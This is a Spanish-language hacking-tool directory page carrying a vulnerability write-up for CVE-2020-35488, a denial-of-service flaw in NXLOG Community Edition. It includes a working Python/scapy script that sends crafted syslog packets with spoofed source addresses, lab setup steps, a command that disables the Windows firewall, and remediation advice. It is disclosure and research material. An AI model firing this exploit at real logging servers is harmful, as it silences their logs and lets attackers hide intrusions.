Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2020-35488 — Exploit de prueba de concepto para CVE-2020-35488, una vulnerabilidad de denegación de servicio en NXLOG Community Edition mediante cargas útiles syslog manipuladas que causan fallos en la creación de directorios. | Kitploit
Herramientas/GitHubGitHub/guillaumepetit84/cve-2020-35488
Análisis de VulnerabilidadesExplotaciónPruebas de PenetraciónAnálisis de Registros
GitHubguillaumepetit84/cve-2020-35488

CVE-2020-35488

Exploit de prueba de concepto para CVE-2020-35488, una vulnerabilidad de denegación de servicio en NXLOG Community Edition mediante cargas útiles syslog manipuladas que causan fallos en la creación de directorios.

Ver Repositorio
14hace 5 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

He encontrado una vulnerabilidad en el producto: nxlog-ce_2.10.2150. He probado mi PoC solo en Linux (Debian 10) y Windows (Windows Server 2016).


1 Descripción :

Alcance : NXLOG Community Edition 2.10.2150

Tipo de bug : CWE-502, Deserialización de datos no confiables https://cwe.mitre.org/data/definitions/502.html

Parte vulnerable : Payload de Syslog

Payload :

  • Unix : Sep 14 14:09:09 .. dhcp service[warning] 110 Silence is golden
  • Windows : Sep 14 14:09:09 CON dhcp service[warning] 110 Silence is golden

MI CÁLCULO CVSS :

Vector de ataque : Red Privilegios requeridos : Ninguno Alcance : Sin cambios Integridad : Ninguna Complejidad de ataque : Baja Interacción del usuario : Ninguna Confidencialidad : Ninguna Disponibilidad : Alta


PUNTUACIÓN CVSS : 7.5

GRAVEDAD : ALTA


CÁLCULO CVSS DE NIST : Enlace : https://nvd.nist.gov/vuln/detail/CVE-2020-35488

Vector de ataque :

Privilegios requeridos :

Alcance :

Integridad :

Complejidad de ataque :

Interacción del usuario :

Confidencialidad :

Disponibilidad :


7.5

PUNTUACIÓN CVSS (3.X) :

GRAVEDAD : ALTA


2 Explotación :

Esta vulnerabilidad puede provocar un DoS del servidor NXLOG.

Pero el servidor necesita una configuración específica: el archivo de configuración de nxlog debe definir la creación de un directorio a partir de un campo de una parte del payload de Syslog.

Campo de Syslog: https://nxlog.co/documentation/nxlog-user-guide/xm_syslog.html#xm_syslog_fields

El software intenta crear un directorio, pero el nombre de este directorio no puede crearse en el sistema de archivos.

Debido a que el nombre de este directorio está prohibido.

Aquí hay un ejemplo de un nombre de directorio imposible de crear :

  • Para Windows : CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8 y LPT9;
  • Para Linux : .., .

Entonces, si el archivo de configuración está definido para crear un directorio con el payload de Syslog, un atacante puede apagar el servicio Nxlog.


3 PoC :

Para explotar esta vulnerabilidad he creado un script en Python :

root@kitploit:~
#!/usr/bin/python3
# coding: utf8
# Nooooooooooo I'm not a script kiddie I hack syslog :D
# g0 h4ck SYSLOG
# Made by 123soleil with <3

import sys
import time
import argparse
from scapy.all import *

def getPayload(args):
        # IF UNIX
        if (args.OS == 1):
                return "Sep 14 14:09:09 .. dhcp service[warning] 110 Silence is golden"
        # IF WINDOWS
        elif (args.OS == 2):
                return "Sep 14 14:09:09 CON dhcp service[warning] 110 Silence is golden"

        # Test
        elif (args.OS == 3):
                return "Sep 14 14:09:09 123soleil dhcp service[warning] 110 Silence is golden"

def runExploit(args,payload):
        priority = 30
        message = payload
        syslog = IP(src="192.168.1.10",dst=args.IP)/UDP(sport=666,dport=args.PORT)/Raw(load="<" + str(priority) + ">" + message)
        send(syslog,verbose=args.DEBUG)

def getArguments():
        parser = argparse.ArgumentParser(description="Go h@ck SYSLOG")
        parser.add_argument("-ip", "-IP", dest="IP", type=str, metavar="IP destination", required=True,default=1, help="IP of NXLOG server")
        parser.add_argument("-p", "-P", dest="PORT", type=int, metavar="Port destination", required=False,default=514, help="Port of NXLOG default 514")
        parser.add_argument("-os", "-OS", dest="OS", type=int, metavar="OS", default=1, required=True, help="1 : For unix payload \n 2 : For Windows Paylaod \n 3 : Just for test")
        parser.add_argument("-d", "-D", dest="DEBUG", type=int, metavar="DEBUG", default=0, required=False, help="1 : Debbug enable")
        return parser.parse_args()

def main():
        args = getArguments()
        payload = getPayload(args)
        runExploit(args,payload)
main()

2.1 Linux :

2.1.1 Instalación :

Instalar el servicio Nxlog en Debian 10 :

root@kitploit:~
apt-get install libapr1 libdbi1 libssl1.1 multiarch-support

cd /tmp
wget http://ftp.de.debian.org/debian/pool/main/p/perl/libperl5.24_5.24.1-3+deb9u7_amd64.deb
wget http://security.debian.org/debian-security/pool/updates/main/o/openssl1.0/libssl1.0.2_1.0.2u-1~deb9u2_amd64.deb
wget http://ftp.de.debian.org/debian/pool/main/g/glibc/libc-bin_2.28-10_amd64.deb
wget http://ftp.de.debian.org/debian/pool/main/m/man-db/man-db_2.8.5-2_amd64.deb
wget http://ftp.de.debian.org/debian/pool/main/p/perl/perl-modules-5.24_5.24.1-3+deb9u7_all.deb
wget http://cz.archive.ubuntu.com/ubuntu/pool/main/g/gdbm/libgdbm3_1.8.3-13.1_amd64.deb
wget https://nxlog.co/system/files/products/files/348/nxlog-ce_2.10.2150_debian_stretch_amd64.deb

dpkg -i libc-bin_2.28-10_amd64.deb
dpkg -i libgdbm3_1.8.3-13.1_amd64.deb
dpkg -i perl-modules-5.24_5.24.1-3+deb9u7_all.deb
dpkg -i libperl5.24_5.24.1-3+deb9u7_amd64.deb
dpkg -i libssl1.0.2_1.0.2u-1~deb9u2_amd64.deb
dpkg -i man-db_2.8.5-2_amd64.deb
dpkg -i nxlog-ce_2.10.2150_debian_stretch_amd64.deb

Archivo de configuración del servicio nxlog :

root@kitploit:~
cat /etc/nxlog/nxlog.conf
root@kitploit:~
########################################
# Global directives                    #
########################################
User nxlog
Group nxlog

LogFile /var/log/nxlog/nxlog.log

########################################
# Modules                              #
########################################
<Extension _syslog>
    Module      xm_syslog
</Extension>

<Extension _exec>
    Module      xm_exec
</Extension>

<Extension _fileop>
    Module      xm_fileop
</Extension>

<Input udp>
    Module      im_udp
    Host        0.0.0.0
    Port        514
    Exec        parse_syslog_bsd();
</Input>

<Output file>
    Module      om_file
    CreateDir   True
    File        "/var/log/nxlog/"+ $Hostname +"/"+ $Hostname +".log"
</Output>

########################################
# Routes                               #
########################################
<Route syslog_to_file>
    Path        udp => file
    Priority    1
</Route>

Iniciar el servicio Nxlog :

root@kitploit:~
systemctl start nxlog
systemctl status nxlog

Resultado :

root@kitploit:~
● nxlog.service - LSB: logging daemon
   Loaded: loaded (/etc/init.d/nxlog; generated)
   Active: active (running) since Sun 2020-11-29 17:58:48 CET; 3min 1s ago
     Docs: man:systemd-sysv-generator(8)
    Tasks: 7 (limit: 2330)
   Memory: 1.7M
   CGroup: /system.slice/nxlog.service
           └─1323 /usr/bin/nxlog

nov. 29 17:58:47 DEB-TEST systemd[1]: Starting LSB: logging daemon...
nov. 29 17:58:48 DEB-TEST nxlog[1312]: Starting nxlog daemon...nxlog started!
nov. 29 17:58:48 DEB-TEST nxlog[1312]: .
nov. 29 17:58:48 DEB-TEST systemd[1]: Started LSB: logging daemon.

Comprobar :

root@kitploit:~
lsof -i :514

Resultado :

root@kitploit:~
nxlog   1323 nxlog   18u  IPv4  21321      0t0  UDP localhost:syslog
nxlog   1323 nxlog   19u  IPv4  21324      0t0  TCP localhost:shell (LISTEN)

¡Ok, genial!


2.1.2 Prueba :

Con mi script de Python, puedo enviar un mensaje Syslog para probar si el servicio Nxlog crea un directorio.

El nombre del directorio se basa en el campo HOSTNAME del payload de Syslog. (Ver archivo de configuración)

Entonces :

root@kitploit:~
./syslog-exploit.py -ip 192.168.1.55 -os 3

La tercera opción especifica el hostname 123soleil en el payload de Syslog.

Entonces :

root@kitploit:~
ls /var/log/nxlog
123soleil  nxlog.log

cat /var/log/nxlog/123soleil/123soleil.log
<30>Sep 14 14:09:09 123soleil dhcp service[warning] 110 Silence is golden

¡Ok, el servidor Nxlog y el cliente Syslog funcionan!


2.1.3 Explotación :

Ahora, si especifico un hostname con un nombre prohibido :

root@kitploit:~
./syslog-exploit.py -ip 192.168.1.55 -os 1

En el log interno de Nxlog :

root@kitploit:~
cat /var/log/nxlog/nxlog.log

Resultado :

root@kitploit:~
2020-11-29 18:11:04 INFO nxlog-ce-2.10.2150 started
2020-11-29 18:15:12 ERROR failed to open /var/log/nxlog/../...log;Permission denied

Todos los nuevos logs enviados por los clientes Syslog ya no se escribirán en el sistema de archivos.

El servicio nxlog queda en un estado indefinido porque intenta crear un directorio que no puede crearse.

Para ilustrarlo, si intento enviar un nuevo payload de Syslog al servidor, tengo este log en el log interno :

root@kitploit:~
2020-11-29 18:11:04 INFO nxlog-ce-2.10.2150 started
2020-11-29 18:15:12 ERROR failed to open /var/log/nxlog/../...log;Permission denied
2020-11-29 18:18:38 ERROR last message repeated 3 times

He probado este exploit con todos los métodos disponibles :

  • parse_syslog();
  • parse_syslog_bsd();
  • parse_syslog_ietf();

¡Y con todos los métodos el exploit funciona!

Fuentes:

  • https://nxlog.co/documentation/nxlog-user-guide/xm_syslog.html#xm_syslog_proc_parse_syslog,
  • RFC 3164
  • RFC 5424

2.2 Windows :

2.1.1 Instalación :

Enlace de instalación : https://nxlog.co/system/files/products/files/348/nxlog-ce-2.10.2150.msi

Archivo de configuración de Nxlog :

root@kitploit:~
########################################
# Global directives                    #
########################################
define ROOT     	C:\Program Files (x86)\nxlog
define CERTDIR  	%ROOT%\cert
define CONFDIR  	%ROOT%\conf
define LOGDIR   	%ROOT%\data
define LOGFILE  	%LOGDIR%\nxlog.log
LogFile 			%LOGFILE%

Moduledir          	%ROOT%\modules
CacheDir       		%ROOT%\data
Pidfile         	%ROOT%\data\nxlog.pid
SpoolDir          	%ROOT%\data

########################################
# Modules                              #
########################################
<Extension _syslog>
    Module      	xm_syslog
</Extension>

<Extension _exec>
    Module			xm_exec
</Extension>

<Extension _fileop>
	Module			xm_fileop
</Extension>

<Input udp>
	Module 			im_udp
	Host    		0.0.0.0
	Port			514
	Exec			parse_syslog();
</Input>

<Output file>
	Module			om_file
	CreateDir		TRUE
	File			'%LOGDIR%' + '\' + $Hostname + '\' + $Hostname + '.log'
</Output>

########################################
# Routes                               #
########################################
<Route syslog_to_file>
	Path			udp => file
	Priority 		1
</Route>

Iniciar el servicio Nxlog :

root@kitploit:~
Start-Service -Name "nxlog"
Get-Service -Name "nxlog" 

Resultado :

root@kitploit:~
Status   Name               DisplayName
------   ----               -----------
Running  nxlog              nxlog

Comprobar :

root@kitploit:~
netstat -an | Select-String "514" 

Resultado :

root@kitploit:~
  UDP    0.0.0.0:514            *:* 

¡Ok, genial!

Deshabilite el Firewall de Windows, porque no quiero crear una regla de Firewall... :

root@kitploit:~
Set-NetFirewallProfile -Profile Domain, Public, Private -Enabled False

2.1.2 Prueba :

Con mi script de Python puedo enviar un mensaje Syslog para probar si el servicio Nxlog crea el directorio.

El nombre del directorio se basa en el campo HOSTNAME del payload de Syslog. (Ver archivo de configuración)

Entonces :

root@kitploit:~
./syslog-exploit.py -ip 192.168.1.54 -os 3

El directorio y el log se crean :

root@kitploit:~
ls "C:\Program Files (x86)\nxlog\data\"
Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----       29/11/2020     19:31                123soleil
-a----       29/11/2020     19:52            257 nxlog.log

ls "C:\Program Files (x86)\nxlog\data\123soleil"
Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----       29/11/2020     19:31             75 123soleil.log 

cat "C:\Program Files (x86)\nxlog\data\123soleil\123soleil.log"
<30>Sep 14 14:09:09 123soleil dhcp service[warning] 110 Silence is golden

2.1.3 Explotación :

Ahora, si especifico un hostname con un nombre prohibido :

root@kitploit:~
./syslog-exploit.py -ip 192.168.1.54 -os 2

En el log interno de Nxlog :

root@kitploit:~
cat 'C:\Program Files (x86)\nxlog\data\nxlog.log' 

Resultado :

root@kitploit:~
2020-11-29 19:30:57 INFO nxlog-ce-2.10.2150 started
2020-11-29 19:50:45 ERROR CreateDir is TRUE but couldn't create directory: C:\Program Files (x86)\nxlog\data\CON; Invalid directory name.

Todos los nuevos logs enviados por los clientes Syslog ya no se escribirán en el sistema de archivos.

El servicio nxlog queda en un estado indefinido porque intenta crear un directorio que no puede crearse.

Para ilustrarlo, si intento enviar un nuevo payload de Syslog al servidor, tengo este log en el log interno :

root@kitploit:~
2020-11-29 19:30:57 INFO nxlog-ce-2.10.2150 started
2020-11-29 19:50:45 ERROR CreateDir is TRUE but couldn't create directory: C:\Program Files (x86)\nxlog\data\CON; Invalid directory name.
2020-11-29 19:52:48 ERROR last message repeated 3 times

He probado este exploit con todos los métodos disponibles :

  • parse_syslog();
  • parse_syslog_bsd();
  • parse_syslog_ietf();

¡Y con todos los métodos el exploit funciona!

Fuente :

  • https://nxlog.co/documentation/nxlog-user-guide/xm_syslog.html#xm_syslog_proc_parse_syslog,
  • RFC 3164
  • RFC 5424

4 Riesgo :

Un hacker puede apagar el servicio Nxlog y puede atacar la infraestructura de TI sin ninguna prueba de este ataque.

5 Remediación :

5.1 Para Nxlog :

He encontrado el código fuente de NXLOG 2.10.2150 en su sitio web : https://nxlog.co/system/files/products/files/348/nxlog-ce-2.10.2150.tar.gz

Y he identificado este método en om_file.c :

root@kitploit:~
static void om_file_create_dir(nx_module_t *module, const char *filename)
{
    char pathname[APR_PATH_MAX + 1];
    char *idx;
    apr_pool_t *pool;

    ASSERT(filename != NULL);

    idx = strrchr(filename, '/');
#ifdef WIN32
    if ( idx == NULL ) 
    {
        idx = strrchr(filename, '\\');
    }
#endif

    if ( idx == NULL )
    {
	log_debug("no directory in filename, cannot create");
	return;
    }

    pool = nx_pool_create_child(module->pool);
    ASSERT(sizeof(pathname) >= (size_t) (idx - filename + 1));
    apr_cpystrn(pathname, filename, (size_t) (idx - filename + 1));
    
    CHECKERR_MSG(apr_dir_make_recursive(pathname, APR_OS_DEFAULT, pool), 
		 "CreateDir is TRUE but couldn't create directory: %s", pathname);
    log_debug("directory '%s' created", pathname);
    apr_pool_destroy(pool);
}

Debe agregar en om_file_create_dir una comprobación del nombre del directorio. Recurso :

  • What characters are forbidden in Windows and Linux directory names?.

Usted utiliza la función apr_dir_make_recursive para crear el directorio; esta función está incluida en Apache Portable Runtime. APR

Por favor, verifique la versión que usa en su binario.

Compruebe que el PoC público no permita otro exploit (p. ej., RCE).

Referencias :

  • https://www.cvedetails.com/vulnerability-list/vendor_id-45/product_id-17804/Apache-Portable-Runtime.html
  • https://www.cvedetails.com/vulnerability-list/vendor_id-45/product_id-17508/Apache-Apr-util.html

5.2 Para el personal de TI :

No utilice estas funciones hasta que Nxlog haya implementado un parche oficial para las versiones comunitarias.

Descargar herramienta